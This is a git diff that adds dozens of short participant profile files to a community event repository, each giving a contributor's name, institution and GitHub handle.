a/content/participant/bbabina.md b/content/participant/bbabina.md new file mode 100644 index 00000000000..1674c477266 --- /dev/null +++ b/content/participant/bbabina.md @@ -0,0 +1,5 @@ +--- +name: Babina +institution/company: Advanced College +github:bbabina +--- \ No newline at end of file diff --git a/content/participant/bembenk.md b/content/participant/bembenk.md new file mode 100644 index 00000000000..cf1169e957e --- /dev/null +++ b/content/participant/bembenk.md @@ -0,0 +1,4 @@ + +name: Bayu Putra Herlambang +university: Indonesia Open University +github: bembenk18 diff --git a/content/participant/bhairu.md b/content/participant/bhairu.md new file mode 100644 index 00000000000..5612d7a1279 --- /dev/null +++ b/content/participant/bhairu.md @@ -0,0 +1,5 @@ +--- +name : Bhairu Tribrid +institution : MBM College, Nepal +GitHub : www.github.com/BhairuTribrid +--- diff --git a/content/participant/bhautikposhiya.md b/content/participant/bhautikposhiya.md new file mode 100644 index 00000000000..bccf8d31256 --- /dev/null +++ b/content/participant/bhautikposhiya.md @@ -0,0 +1,5 @@ +--- +name: Bhautik poshiya +institution/company: Rk University rajkot +github: bhautikposhiya +--- diff --git a/content/participant/bhavesh.md b/content/participant/bhavesh.md new file mode 100644 index 00000000000..0cdcfa1b6ab --- /dev/null +++ b/content/participant/bhavesh.md @@ -0,0 +1,5 @@ +--- +name: Bhavesh Krishan Garg +institution/company: Manav Rachna University +github: bhaveshgarg2000 +--- diff --git a/content/participant/bhavik.md b/content/participant/bhavik.md new file mode 100644 index 00000000000..3cc9509c36c --- /dev/null +++ b/content/participant/bhavik.md @@ -0,0 +1,5 @@ +--- +name: Bhavik Prajapati +institution/company: LDCE +github: Bhavik-prajapati +--- \ No newline at end of file diff --git a/content/participant/bikashydv.md b/content/participant/bikashydv.md new file mode 100644 index 00000000000..8f1f8a30035 --- /dev/null +++ b/content/participant/bikashydv.md @@ -0,0 +1,5 @@ +--- +name: Bikash yadav +institution: National infotech +github: github.com/bikashydv +--- diff --git a/content/participant/billypentester.md b/content/participant/billypentester.md new file mode 100644 index 00000000000..e8af5d4a6cf --- /dev/null +++ b/content/participant/billypentester.md @@ -0,0 +1,5 @@ +--- +name: Bilal Ahmad +institution/company: COMSATS University Islamabad +github: billypentester +--- diff --git a/content/participant/binayak9932.md b/content/participant/binayak9932.md new file mode 100644 index 00000000000..155611b780f --- /dev/null +++ b/content/participant/binayak9932.md @@ -0,0 +1,5 @@ +--- +name:Binayak Monda +institution/company: Heritage Institute ofTechnology +github:binayak9932 +--- diff --git a/content/participant/bluntswordman.md b/content/participant/bluntswordman.md new file mode 100644 index 00000000000..b718ae0becf --- /dev/null +++ b/content/participant/bluntswordman.md @@ -0,0 +1,5 @@ +--- +Name: Bedy B Wijaya +institution/company: Indo Global Mandiri University, South of Sumatra, Indonesia. +github: bluntswordman +--- \ No newline at end of file diff --git a/content/participant/braj5765.md b/content/participant/braj5765.md new file mode 100644 index 00000000000..67db512958f --- /dev/null +++ b/content/participant/braj5765.md @@ -0,0 +1,12 @@ + +--- +name: Braj Kishan Singh + +--- +institution/company: Shri Mata Vaishno Devi University + + +--- +github:braj5765 + +--- diff --git a/content/participant/briangor.md b/content/participant/briangor.md new file mode 100644 index 00000000000..a28ad523c18 --- /dev/null +++ b/content/participant/briangor.md @@ -0,0 +1,5 @@ +--- +name: Brian Gor +institution/company: JKUAT +github: briangor +--- \ No newline at end of file diff --git a/content/participant/brianleemcqueen.md b/content/participant/brianleemcqueen.md new file mode 100644 index 00000000000..64f9fa0dbfb --- /dev/null +++ b/content/participant/brianleemcqueen.md @@ -0,0 +1,5 @@ +--- +name: Brian McQueen +institution/company: E-gineering, Inc. +github: brianleemcqueen +--- \ No newline at end of file diff --git a/content/participant/bruna-luc.md b/content/participant/bruna-luc.md new file mode 100644 index 00000000000..2ea2f207342 --- /dev/null +++ b/content/participant/bruna-luc.md @@ -0,0 +1,5 @@ +--- +name: Bruna Oliveira +institution/company: - +github:bruna-luc +--- diff --git a/content/participant/bryanpratama.md b/content/participant/bryanpratama.md new file mode 100644 index 00000000000..ed1b9758911 --- /dev/null +++ b/content/participant/bryanpratama.md @@ -0,0 +1,5 @@ +--- +name: Bryan Pratama Putra +institution/company: Institut Teknologoi Telkom Surabaya +github: bryanpratama +--- diff --git a/content/participant/caesar-kaho.md b/content/participant/caesar-kaho.md new file mode 100644 index 00000000000..bdf9d034c37 --- /dev/null +++ b/content/participant/caesar-kaho.md @@ -0,0 +1,3 @@ +name: kaho +institution/company: Hong Kong +github: caesar-kaho \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__init__.py b/content/participant/caliginosusmoon.md similarity index 100% rename from Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/__init__.py rename to content/participant/caliginosusmoon.md diff --git a/content/participant/chahatjl.md b/content/participant/chahatjl.md new file mode 100644 index 00000000000..9e6690485ca --- /dev/null +++ b/content/participant/chahatjl.md @@ -0,0 +1,3 @@ +name:chahat jindal +company:globallogic +github:chahatjl \ No newline at end of file diff --git a/content/participant/chananchida-srithongdee.md b/content/participant/chananchida-srithongdee.md new file mode 100644 index 00000000000..dd49d8be9ef --- /dev/null +++ b/content/participant/chananchida-srithongdee.md @@ -0,0 +1,5 @@ +--- +name: CHANANCHIDA SRITHONGDEE +institution/company: KMITL +github: chananchida-srithongdee +--- \ No newline at end of file diff --git a/content/participant/chandan-r.md b/content/participant/chandan-r.md new file mode 100644 index 00000000000..f6746b03ec3 --- /dev/null +++ b/content/participant/chandan-r.md @@ -0,0 +1,5 @@ +--- +name: Chandan R +institution: MSRIT, India +github:chandan-r (https://github.com/chandan-r) +--- \ No newline at end of file diff --git a/content/participant/chandan.jpg b/content/participant/chandan.jpg new file mode 100644 index 00000000000..f3bb823e999 Binary files /dev/null and b/content/participant/chandan.jpg differ diff --git a/content/participant/chetan.md b/content/participant/chetan.md new file mode 100644 index 00000000000..09c1acb746a --- /dev/null +++ b/content/participant/chetan.md @@ -0,0 +1,5 @@ +--- +name: Kunwar Chetan Singh +institution: - Guru Nanak Dev Engineering College Ludhiana +github: https://github.com/chetansingh-2 +--- \ No newline at end of file diff --git a/content/participant/chirag14252.md b/content/participant/chirag14252.md new file mode 100644 index 00000000000..8bd7cf09f93 --- /dev/null +++ b/content/participant/chirag14252.md @@ -0,0 +1,5 @@ +--- +name: chirag bhardwaj +institution/company: Lovely Professional university +github: chirag14252 +--- \ No newline at end of file diff --git a/content/participant/chiragbairwa.md b/content/participant/chiragbairwa.md new file mode 100644 index 00000000000..090bafa6358 --- /dev/null +++ b/content/participant/chiragbairwa.md @@ -0,0 +1,5 @@ +--- +name: CHIRAG +institution/company: PANJAB_UNIVERSITY +github:CHIRAGBAIRWA +--- diff --git a/content/participant/chiragbiradar.md b/content/participant/chiragbiradar.md new file mode 100644 index 00000000000..43788181827 --- /dev/null +++ b/content/participant/chiragbiradar.md @@ -0,0 +1,5 @@ +--- +name: Chirag Biradar +institution : KLE Technological University +github: chiragbiradar +--- diff --git a/content/participant/chris-towns.md b/content/participant/chris-towns.md new file mode 100644 index 00000000000..b812fac3dcc --- /dev/null +++ b/content/participant/chris-towns.md @@ -0,0 +1,5 @@ +--- +name: Chris Townsend +institution/company: Code Institute +Github: chris-townsend +--- \ No newline at end of file diff --git a/content/participant/christopherloi.md b/content/participant/christopherloi.md new file mode 100644 index 00000000000..da21d733856 --- /dev/null +++ b/content/participant/christopherloi.md @@ -0,0 +1,5 @@ +--- +name: Christopher Loi +institution: California State University, Monterey Bay +github: christopherloi +--- \ No newline at end of file diff --git a/content/participant/chxtio.md b/content/participant/chxtio.md new file mode 100644 index 00000000000..32c0aa613b5 --- /dev/null +++ b/content/participant/chxtio.md @@ -0,0 +1,5 @@ +--- +name: chxtio +institution/company: N/A +github:chxtio +--- \ No newline at end of file diff --git a/content/participant/codemastershrey.md b/content/participant/codemastershrey.md new file mode 100644 index 00000000000..c8b5abf3309 --- /dev/null +++ b/content/participant/codemastershrey.md @@ -0,0 +1,5 @@ +--- +name: shrey +institution/company: SVIT,VASAD +github:codemastershrey +--- diff --git a/content/participant/coerboy-yash.md b/content/participant/coerboy-yash.md new file mode 100644 index 00000000000..222f3a5c0c8 --- /dev/null +++ b/content/participant/coerboy-yash.md @@ -0,0 +1,5 @@ +--- +name: YASH NIGAM +institution/company: ATAL BIHARI VAJPAYEE INDIAN INSTITUTE OF INFORMATION TECHNOLOGY +github:coderboy-yash +--- diff --git a/content/participant/comfazil.md b/content/participant/comfazil.md new file mode 100644 index 00000000000..72115aff34b --- /dev/null +++ b/content/participant/comfazil.md @@ -0,0 +1 @@ +Hii my name is Fazil Khan..!! diff --git a/content/participant/computerscienceiscool.md b/content/participant/computerscienceiscool.md new file mode 100644 index 00000000000..40c8c734459 --- /dev/null +++ b/content/participant/computerscienceiscool.md @@ -0,0 +1,5 @@ +--- +name: JJ +institution/company: GitHub +github: computerscienceiscool +--- diff --git a/content/participant/crazyyoungbroo.md b/content/participant/crazyyoungbroo.md new file mode 100644 index 00000000000..4e482a576cc --- /dev/null +++ b/content/participant/crazyyoungbroo.md @@ -0,0 +1,5 @@ +--- +name: CrazyYoungBroo +institution/company: JPS +github:CrazyYoungBroo +--- diff --git a/content/participant/curious-vv1.md b/content/participant/curious-vv1.md new file mode 100644 index 00000000000..db8c9239cc2 --- /dev/null +++ b/content/participant/curious-vv1.md @@ -0,0 +1,5 @@ +------ +Name : Vivek Kumar +College : Indian Institute of Information Technology, Bhagalpur +Github : curious-vv1 +------ \ No newline at end of file diff --git a/content/participant/cyberdad68.md b/content/participant/cyberdad68.md new file mode 100644 index 00000000000..1a01a578027 --- /dev/null +++ b/content/participant/cyberdad68.md @@ -0,0 +1,5 @@ +--- +name: Ayansh Sinha +institution/company: SRM KTR +github:cyberdad68 +--- diff --git a/content/participant/cyberfascinate.md b/content/participant/cyberfascinate.md new file mode 100644 index 00000000000..5ee3813176a --- /dev/null +++ b/content/participant/cyberfascinate.md @@ -0,0 +1,5 @@ +--- +name: Kashish Kanojia +institution/company: Indira Gandhi National Open University +github: cyberfascinate +--- \ No newline at end of file diff --git a/content/participant/cynthiakonar.md b/content/participant/cynthiakonar.md new file mode 100644 index 00000000000..a6e2ceae04a --- /dev/null +++ b/content/participant/cynthiakonar.md @@ -0,0 +1,5 @@ +--- +Name: Cynthia Konar +Institution: Vellore Institute of Technology, Chennai +github: cynthiakonar +--- diff --git a/content/participant/d3nn7.md b/content/participant/d3nn7.md new file mode 100644 index 00000000000..6a0e9468374 --- /dev/null +++ b/content/participant/d3nn7.md @@ -0,0 +1,5 @@ +--- +name: Danny Schapeit +institution: Slynite +github: d3nn7 +--- \ No newline at end of file diff --git a/content/participant/da-r-k.md b/content/participant/da-r-k.md new file mode 100644 index 00000000000..5712c9036b0 --- /dev/null +++ b/content/participant/da-r-k.md @@ -0,0 +1,5 @@ +--- +name: Soumyadwip Chanda +institution: IIT Varanasi +github: da-r-k +--- \ No newline at end of file diff --git a/content/participant/dan.md b/content/participant/dan.md new file mode 100644 index 00000000000..80118eea647 --- /dev/null +++ b/content/participant/dan.md @@ -0,0 +1,5 @@ +--- +name: Hirdey Mittal +institution/company: Aravali College Of Engineering And Management +github: Hirdey-1999 +--- diff --git a/content/participant/danish241194.md b/content/participant/danish241194.md new file mode 100644 index 00000000000..a3646230c75 --- /dev/null +++ b/content/participant/danish241194.md @@ -0,0 +1,5 @@ +--- +name: Danish +institution/company: MIET +github:danish241194 +--- diff --git a/content/participant/danivict.md b/content/participant/danivict.md new file mode 100644 index 00000000000..ecac88f0bc5 --- /dev/null +++ b/content/participant/danivict.md @@ -0,0 +1,5 @@ +--- +name: Daniel Victor Lemos de Morais +institution/company: IFPB - Instituto Federal da Paraiba +github: danivict +--- diff --git a/content/participant/danny007.md b/content/participant/danny007.md new file mode 100644 index 00000000000..3473f1c4edb --- /dev/null +++ b/content/participant/danny007.md @@ -0,0 +1,5 @@ +--- +name: Danish Multani +institution/company: Maharishi Dayanand University +github: https://github.com/danish0007 +--- diff --git a/content/participant/darwin.md b/content/participant/darwin.md new file mode 100644 index 00000000000..f25e1dffe15 --- /dev/null +++ b/content/participant/darwin.md @@ -0,0 +1,5 @@ +--- +name: Darwin Jimenez +institution: UNACH University +github: https://github.com/DARWINDEV +--- \ No newline at end of file diff --git a/content/participant/dasdebanna.md b/content/participant/dasdebanna.md new file mode 100644 index 00000000000..ed8f4cb5be2 --- /dev/null +++ b/content/participant/dasdebanna.md @@ -0,0 +1,5 @@ +--- +name: Debanna Das +institution/company: BITS Pilani +github: https://github.com/dasdebanna +--- \ No newline at end of file diff --git a/content/participant/daviddev-creator.md b/content/participant/daviddev-creator.md new file mode 100644 index 00000000000..fdb19ad90a7 --- /dev/null +++ b/content/participant/daviddev-creator.md @@ -0,0 +1,5 @@ +--- +name: David Santoso +institution: Software Architect Indonesia +github: https://github.com/daviddev-creator +--- diff --git a/content/participant/davnunes.md b/content/participant/davnunes.md new file mode 100644 index 00000000000..2c9358ca427 --- /dev/null +++ b/content/participant/davnunes.md @@ -0,0 +1,5 @@ +--- +Name: Davi Nunes +institution/company: Faculdade Lourenço Filho +github: https://github.com/davnunes +--- diff --git a/content/participant/day-mon.md b/content/participant/day-mon.md new file mode 100644 index 00000000000..232d8f7528b --- /dev/null +++ b/content/participant/day-mon.md @@ -0,0 +1,5 @@ +--- +name: Damon Montague +institution/company: University of Pittsburgh +github: day-mon +--- diff --git a/content/participant/deekshad15.md b/content/participant/deekshad15.md new file mode 100644 index 00000000000..f6803c67123 --- /dev/null +++ b/content/participant/deekshad15.md @@ -0,0 +1,5 @@ +--- +name: Deeksha +institution/company: Newport High School +github: deekshad15 +--- diff --git a/content/participant/deep.md b/content/participant/deep.md new file mode 100644 index 00000000000..1a2ff9b81a2 --- /dev/null +++ b/content/participant/deep.md @@ -0,0 +1,6 @@ + +--- +name: DEEP NARAYAN BHAGAT +institution/company: NETAJI SUBHASH ENGINEERING COLLEGE +github:https://github.com/deepakbhagat7 +--- diff --git a/content/participant/deepakiitian.md b/content/participant/deepakiitian.md new file mode 100644 index 00000000000..f2210da5d16 --- /dev/null +++ b/content/participant/deepakiitian.md @@ -0,0 +1,5 @@ +--- +name: Deepak +institution/company: IIT BHU +github: github.com/deepakiitian +--- \ No newline at end of file diff --git a/content/participant/deepanshmittal.md b/content/participant/deepanshmittal.md new file mode 100644 index 00000000000..50d0c7f80ab --- /dev/null +++ b/content/participant/deepanshmittal.md @@ -0,0 +1,5 @@ +--- +name: Deepansh Mittal +institution: LNMIIT +github: deepanshmittal +--- \ No newline at end of file diff --git a/content/participant/dev1abhi.md b/content/participant/dev1abhi.md new file mode 100644 index 00000000000..b161798d929 --- /dev/null +++ b/content/participant/dev1abhi.md @@ -0,0 +1,23 @@ +--- + +# Abhilash Sarangi + +### Location + +Vellore, India. + +### Academics +- CSE,Core + +### Interests +- Android +- Gaming + +### Development + +- App development. + + +### Profile Link + +Go to profile [userName](https://github.com/username/) diff --git a/content/participant/devaZikrullah.md b/content/participant/devaZikrullah.md new file mode 100644 index 00000000000..e41d445de5d --- /dev/null +++ b/content/participant/devaZikrullah.md @@ -0,0 +1,4 @@ +--- +name: Deva Zikrullah +github: DevaZikrullah +--- diff --git a/content/participant/developer-vijay.md b/content/participant/developer-vijay.md new file mode 100644 index 00000000000..caf4a95bdfc --- /dev/null +++ b/content/participant/developer-vijay.md @@ -0,0 +1,5 @@ +--- +name: Vijay Sahoo +institution/company: Maharaja Agresen Institute of technologu +github:developer-vijay +--- \ No newline at end of file diff --git a/content/participant/devesh-y.md b/content/participant/devesh-y.md new file mode 100644 index 00000000000..6144adf1397 --- /dev/null +++ b/content/participant/devesh-y.md @@ -0,0 +1,5 @@ +--- +name: Devesh +institution/company: DTU +github:devesh-y +--- diff --git a/content/participant/devesh33 b/content/participant/devesh33 new file mode 100644 index 00000000000..1468c955f27 --- /dev/null +++ b/content/participant/devesh33 @@ -0,0 +1,5 @@ +--- +name: Devesh Mukherjee +institution/company: United College of Engineering and Research, Prayagraj +github:darkghost33 +--- diff --git a/content/participant/deveshparmar.md b/content/participant/deveshparmar.md index 7a3aeaabce7..4e4b0176574 100644 --- a/content/participant/deveshparmar.md +++ b/content/participant/deveshparmar.md @@ -1,3 +1,3 @@ -name: Devesh Parmar -institution: Pandit Deendayal Energy University +name: Devesh Parmar +institution: Pandit Deendayal Energy University github: deveshparmar \ No newline at end of file diff --git a/content/participant/dhananjay.md b/content/participant/dhananjay.md new file mode 100644 index 00000000000..24563020cff --- /dev/null +++ b/content/participant/dhananjay.md @@ -0,0 +1,4 @@ +Name: Dhananjay +institution/company: DMCE +github: https://github.com/dhananjay40 +--- diff --git a/content/participant/dharasubhamay.md b/content/participant/dharasubhamay.md new file mode 100644 index 00000000000..7ff1d605c18 --- /dev/null +++ b/content/participant/dharasubhamay.md @@ -0,0 +1,5 @@ +--- +name: SUBHAMAY DHARA +institution/company: GCETT Berhampore +github:dharasubhamay +--- \ No newline at end of file diff --git a/content/participant/dhruvaa.md b/content/participant/dhruvaa.md new file mode 100644 index 00000000000..f32b2238798 --- /dev/null +++ b/content/participant/dhruvaa.md @@ -0,0 +1,6 @@ +student, web dev + +github -> @carrotfarmer +twitter -> @carrotfarmer17 +website -> https://dhruva.is-a.dev +blog -> https://blog.dhruva.is-a.dev diff --git a/content/participant/dhruvaditya.md b/content/participant/dhruvaditya.md new file mode 100644 index 00000000000..6dcb3979a9e --- /dev/null +++ b/content/participant/dhruvaditya.md @@ -0,0 +1,5 @@ +--- +name: Aditya Raj +institution/company: University INstitute of Technology, The University of Burdwan +github:dhruvaditya +--- diff --git a/content/participant/dianosaur12.md b/content/participant/dianosaur12.md new file mode 100644 index 00000000000..2036a223db2 --- /dev/null +++ b/content/participant/dianosaur12.md @@ -0,0 +1,7 @@ +--- +name: Dia +institution/company: Self-Employed +github: @dianosaur12 +--- + + \ No newline at end of file diff --git a/content/participant/dimdimmas.md b/content/participant/dimdimmas.md new file mode 100644 index 00000000000..d038776b667 --- /dev/null +++ b/content/participant/dimdimmas.md @@ -0,0 +1,5 @@ +--- +name: Dimas Arya Kusuma Putra +institution/company: Trilogi University +github: DimDimmas +--- \ No newline at end of file diff --git a/content/participant/dipuchaudhary.md b/content/participant/dipuchaudhary.md new file mode 100644 index 00000000000..3f18e994b72 --- /dev/null +++ b/content/participant/dipuchaudhary.md @@ -0,0 +1,5 @@ +--- +name: Dipu Kumar Chaudhary +institution/company: ThemeGrill +github: dipuchaudhary +--- diff --git a/content/participant/divyanshi.md b/content/participant/divyanshi.md new file mode 100644 index 00000000000..712a974c3cf --- /dev/null +++ b/content/participant/divyanshi.md @@ -0,0 +1,5 @@ +--- +name: Divyanshi +institution/company: MNNIT +github:divyanshi070700 +--- \ No newline at end of file diff --git a/content/participant/djharshit.md b/content/participant/djharshit.md new file mode 100644 index 00000000000..577290aabe0 --- /dev/null +++ b/content/participant/djharshit.md @@ -0,0 +1,5 @@ +--- +name: Harshit Mehra +institution/company: Government Engineering College, Jabalpur +github: https://github.com/djharshit +--- diff --git a/content/participant/dogwolf.md b/content/participant/dogwolf.md new file mode 100644 index 00000000000..a01ea2ca8e9 --- /dev/null +++ b/content/participant/dogwolf.md @@ -0,0 +1,5 @@ +--- +name: dogwolf +institution/company: Freelance +github: github.com/dogwolf +--- \ No newline at end of file diff --git a/content/participant/dontwike.md b/content/participant/dontwike.md new file mode 100644 index 00000000000..ff2aa717790 --- /dev/null +++ b/content/participant/dontwike.md @@ -0,0 +1,7 @@ +--- +name: Pranjal Goyal +institution/company: DIT University +github: dontwike +linkedin: https://www.linkedin.com/in/dontwike/ +twitter: https://twitter.com/_pranjal_goyal_ +--- \ No newline at end of file diff --git a/content/participant/dsuvam092.md b/content/participant/dsuvam092.md new file mode 100644 index 00000000000..32ef7de7627 --- /dev/null +++ b/content/participant/dsuvam092.md @@ -0,0 +1,5 @@ +--- +Name: Suvam Das +institution/company: Academy of Technology +github: https://github.com/vamus092 +--- diff --git a/content/participant/dunking3022.md b/content/participant/dunking3022.md new file mode 100644 index 00000000000..684300547f0 --- /dev/null +++ b/content/participant/dunking3022.md @@ -0,0 +1,5 @@ +--- +name: Dunking +institution/company: IWRMC +github: dunking3022 +--- diff --git a/content/participant/durveshnp.md b/content/participant/durveshnp.md new file mode 100644 index 00000000000..a684c717e68 --- /dev/null +++ b/content/participant/durveshnp.md @@ -0,0 +1,5 @@ +--- +Name: Durvesh Patil +institution/company: Walchand College of Engineering, Sangli +github: https://github.com/durveshnp +--- diff --git a/content/participant/ekrajghimire127.md b/content/participant/ekrajghimire127.md new file mode 100644 index 00000000000..94ddc03547b --- /dev/null +++ b/content/participant/ekrajghimire127.md @@ -0,0 +1,5 @@ +--- +name: Ekraj Ghimire +institution: Jain +github: github.com/ekrajghimire127 +--- diff --git a/content/participant/elbasrie b/content/participant/elbasrie new file mode 100644 index 00000000000..290f16d6fd1 --- /dev/null +++ b/content/participant/elbasrie @@ -0,0 +1,5 @@ +--- +name: Elbasrie +institution/company: Bina Sarana Informatika University +github: https://github.com/elbasrie +--- diff --git a/content/participant/erickleon88.md.txt b/content/participant/erickleon88.md.txt new file mode 100644 index 00000000000..8c40b4030dc --- /dev/null +++ b/content/participant/erickleon88.md.txt @@ -0,0 +1,5 @@ +--- +name: Erick Leon +institution/company: N/A +github:erickleon88 +--- \ No newline at end of file diff --git a/content/participant/f88083.md b/content/participant/f88083.md new file mode 100644 index 00000000000..2ecc526d251 --- /dev/null +++ b/content/participant/f88083.md @@ -0,0 +1,5 @@ +--- +name: Shih-Che, Lai +institution: University of Manchester +github: https://github.com/f88083 +--- diff --git a/content/participant/fairydevmother.md b/content/participant/fairydevmother.md new file mode 100644 index 00000000000..c0ae7b549e8 --- /dev/null +++ b/content/participant/fairydevmother.md @@ -0,0 +1,5 @@ +--- +name: Sema KARACA +institution/company: Ankara University/TR +github: fairydevmother +--- \ No newline at end of file diff --git a/content/participant/fal3n-4ngel.md b/content/participant/fal3n-4ngel.md new file mode 100644 index 00000000000..0113082df0f --- /dev/null +++ b/content/participant/fal3n-4ngel.md @@ -0,0 +1,5 @@ +--- +name: fal3n 4ngel +institution/company: Cirus Lab +github:fal3n-4ngel +--- diff --git a/content/participant/fatihgenc.md b/content/participant/fatihgenc.md new file mode 100644 index 00000000000..ef1a5d2a3eb --- /dev/null +++ b/content/participant/fatihgenc.md @@ -0,0 +1,5 @@ +--- +name: Fatih Genç +institution/company: Codeventure Bilişim A.Ş. +github: fatihgnc +--- \ No newline at end of file diff --git a/content/participant/fauzi.md b/content/participant/fauzi.md new file mode 100644 index 00000000000..27ce096fb42 --- /dev/null +++ b/content/participant/fauzi.md @@ -0,0 +1,5 @@ +--- +name: Fauzi +institution/company: ITTS +github: imanfauzi29 +--- diff --git a/content/participant/fazilkp.md b/content/participant/fazilkp.md new file mode 100644 index 00000000000..fba96fce45c --- /dev/null +++ b/content/participant/fazilkp.md @@ -0,0 +1,4 @@ +name: Mohammed Fazil KP +institution/company: EMEA COLLEGE OF ARTS AND SCIENCE KONDOTTI,KERALA +github:fazilkp7 + diff --git a/content/participant/fenol64.md b/content/participant/fenol64.md new file mode 100644 index 00000000000..32f334d726b --- /dev/null +++ b/content/participant/fenol64.md @@ -0,0 +1,5 @@ +--- +name: Fernando Nascimento Oliveira +institution/company: Link informática RJ +github: fenol64 +--- \ No newline at end of file diff --git a/content/participant/firstlutfi.md b/content/participant/firstlutfi.md new file mode 100644 index 00000000000..7cb42b10671 --- /dev/null +++ b/content/participant/firstlutfi.md @@ -0,0 +1,5 @@ +--- +name: Lutfi Fitroh Hadi +institution/company: flip.id +github: firstlutfi +--- \ No newline at end of file diff --git a/content/participant/flamadev.md b/content/participant/flamadev.md new file mode 100644 index 00000000000..265e580d9f2 --- /dev/null +++ b/content/participant/flamadev.md @@ -0,0 +1,5 @@ +--- +name: Flavia +institution/company: Personal +github: flamadev +--- \ No newline at end of file diff --git a/content/participant/flerk3n.md b/content/participant/flerk3n.md new file mode 100644 index 00000000000..bf66a984cc1 --- /dev/null +++ b/content/participant/flerk3n.md @@ -0,0 +1,5 @@ +--- +name: Harsh Raj +institution/company: VIPS,Delhi,IN +github: flerk3n +--- \ No newline at end of file diff --git a/content/participant/g.md b/content/participant/g.md new file mode 100644 index 00000000000..891fb8744f2 --- /dev/null +++ b/content/participant/g.md @@ -0,0 +1,4 @@ +--- +name: Raymond Kenney +github: grady2002 +--- diff --git a/content/participant/ganesh.md b/content/participant/ganesh.md new file mode 100644 index 00000000000..37f6958f111 --- /dev/null +++ b/content/participant/ganesh.md @@ -0,0 +1,5 @@ +--- +name: Ganesh Majhi +institution/company: 21n78e Creative Labs, Bengaluru +github: https://github.com/ganeshmajhi +--- \ No newline at end of file diff --git a/content/participant/gaurang51.md b/content/participant/gaurang51.md new file mode 100644 index 00000000000..a0447ef2644 --- /dev/null +++ b/content/participant/gaurang51.md @@ -0,0 +1,5 @@ +--- +name: Gaurang Paliwal +institution: IIIT pune +github: https://github.com/gaurang51 +--- \ No newline at end of file diff --git a/content/participant/gauravsingh9356.md b/content/participant/gauravsingh9356.md new file mode 100644 index 00000000000..aed20b618e3 --- /dev/null +++ b/content/participant/gauravsingh9356.md @@ -0,0 +1,5 @@ +--- +name: Gaurav Singh +institutioncompany: IIIT Kalyani +github: gauravsingh9356 +--- diff --git a/content/participant/gauravw66.md b/content/participant/gauravw66.md new file mode 100644 index 00000000000..078951e9c17 --- /dev/null +++ b/content/participant/gauravw66.md @@ -0,0 +1,5 @@ +--- +name: Gaurav Waghmare +College: Pune Institute Of Computer Technology +github: gauravw66 +--- \ No newline at end of file diff --git a/content/participant/goldenPheonix02.md b/content/participant/goldenPheonix02.md new file mode 100644 index 00000000000..65d91692166 --- /dev/null +++ b/content/participant/goldenPheonix02.md @@ -0,0 +1,5 @@ +--- +name: Abdul Moiz Quddus +institution/company: SPIT +github: goldenPheonix02 +--- \ No newline at end of file diff --git a/content/participant/gouravchawla334.md b/content/participant/gouravchawla334.md index fef00e0d1e9..af0b8bb37fa 100644 --- a/content/participant/gouravchawla334.md +++ b/content/participant/gouravchawla334.md @@ -1,5 +1,5 @@ ---- -name: Gourav Chawla -institution/company: State institute of Enginnering and Technology Nilokheri, Karnal -github: gouravchawla334 +--- +name: Gourav Chawla +institution/company: State institute of Enginnering and Technology Nilokheri, Karnal +github: gouravchawla334 --- \ No newline at end of file diff --git a/content/participant/grvsh02.md b/content/participant/grvsh02.md new file mode 100644 index 00000000000..25a26b786f6 --- /dev/null +++ b/content/participant/grvsh02.md @@ -0,0 +1,5 @@ +--- +name: Gaurav Sharma +institution/company: Amrita University +github:grvsh02 +--- \ No newline at end of file diff --git a/content/participant/gulraiz.md b/content/participant/gulraiz.md new file mode 100644 index 00000000000..6e7548bba5d --- /dev/null +++ b/content/participant/gulraiz.md @@ -0,0 +1,5 @@ +--- +name: Gulraiz Noor Bari +institution/company: Forman Christian College (A Chartered University) +github: gulraiznoorbari +--- diff --git a/content/participant/gulshan_jakhon.md b/content/participant/gulshan_jakhon.md new file mode 100644 index 00000000000..f13be79ff9e --- /dev/null +++ b/content/participant/gulshan_jakhon.md @@ -0,0 +1,5 @@ +--- +name: Gulshan Kumar Jakhon +institution/company: Jabalpur Engineering College, Jabalpur +github: gulshanjakhon +--- \ No newline at end of file diff --git a/content/participant/habilyadigar.md b/content/participant/habilyadigar.md new file mode 100644 index 00000000000..e2248bbda8d --- /dev/null +++ b/content/participant/habilyadigar.md @@ -0,0 +1,5 @@ +--- +name: Habil Yadigar +institution/company: Codeventure Bilişim A.Ş. +github: habilyadigar +--- \ No newline at end of file diff --git a/content/participant/hairez.md b/content/participant/hairez.md new file mode 100644 index 00000000000..de10b7ada8e --- /dev/null +++ b/content/participant/hairez.md @@ -0,0 +1,5 @@ +--- +name: HARRY ZHANG +institution/company: KTH Royal Institute of Technology +github: hairez +--- \ No newline at end of file diff --git a/content/participant/halimjr11.md b/content/participant/halimjr11.md new file mode 100644 index 00000000000..63e2e7e35e4 --- /dev/null +++ b/content/participant/halimjr11.md @@ -0,0 +1,5 @@ +--- +name: Nurhaq Halim +institution/company: NA +github: halimjr11 +--- \ No newline at end of file diff --git a/content/participant/hapisnake.md b/content/participant/hapisnake.md new file mode 100644 index 00000000000..3973024cd32 --- /dev/null +++ b/content/participant/hapisnake.md @@ -0,0 +1,5 @@ +--- +name: GiriPrasath.D +institution/company: Vel Tech Multi Tech Dr.Rangarajan Dr.Sakunthala Engineering College(Autonomous) +github: hapisnake +--- diff --git a/content/participant/harikartik.md b/content/participant/harikartik.md new file mode 100644 index 00000000000..bee43630716 --- /dev/null +++ b/content/participant/harikartik.md @@ -0,0 +1,5 @@ +--- +name: Hari Preeth +institution/company: Amrita Vishwa Vidyapeetham +github: harikartik +--- diff --git a/content/participant/haris-bit.md b/content/participant/haris-bit.md index 191d49f3d6c..46098280558 100644 --- a/content/participant/haris-bit.md +++ b/content/participant/haris-bit.md @@ -1,5 +1,5 @@ ---- -name: Haris Iftikhar -institution/company: PUCIT -github: haris-bit +--- +name: Haris Iftikhar +institution/company: PUCIT +github: haris-bit --- \ No newline at end of file diff --git a/content/participant/harshavar1.md b/content/participant/harshavar1.md new file mode 100644 index 00000000000..bbc3ec34e02 --- /dev/null +++ b/content/participant/harshavar1.md @@ -0,0 +1,5 @@ +------------------------------ +Name: Harsha Vardhan +Institute: Osmania Hyd +Github Username: harshavar1 +------------------------------ diff --git a/content/participant/harshhgithub.md b/content/participant/harshhgithub.md new file mode 100644 index 00000000000..c8cc38aeab0 --- /dev/null +++ b/content/participant/harshhgithub.md @@ -0,0 +1,5 @@ +--- +name: HARSH SHUKLA +institution/company: PSIT KANPUR +github: harshhgithub +--- \ No newline at end 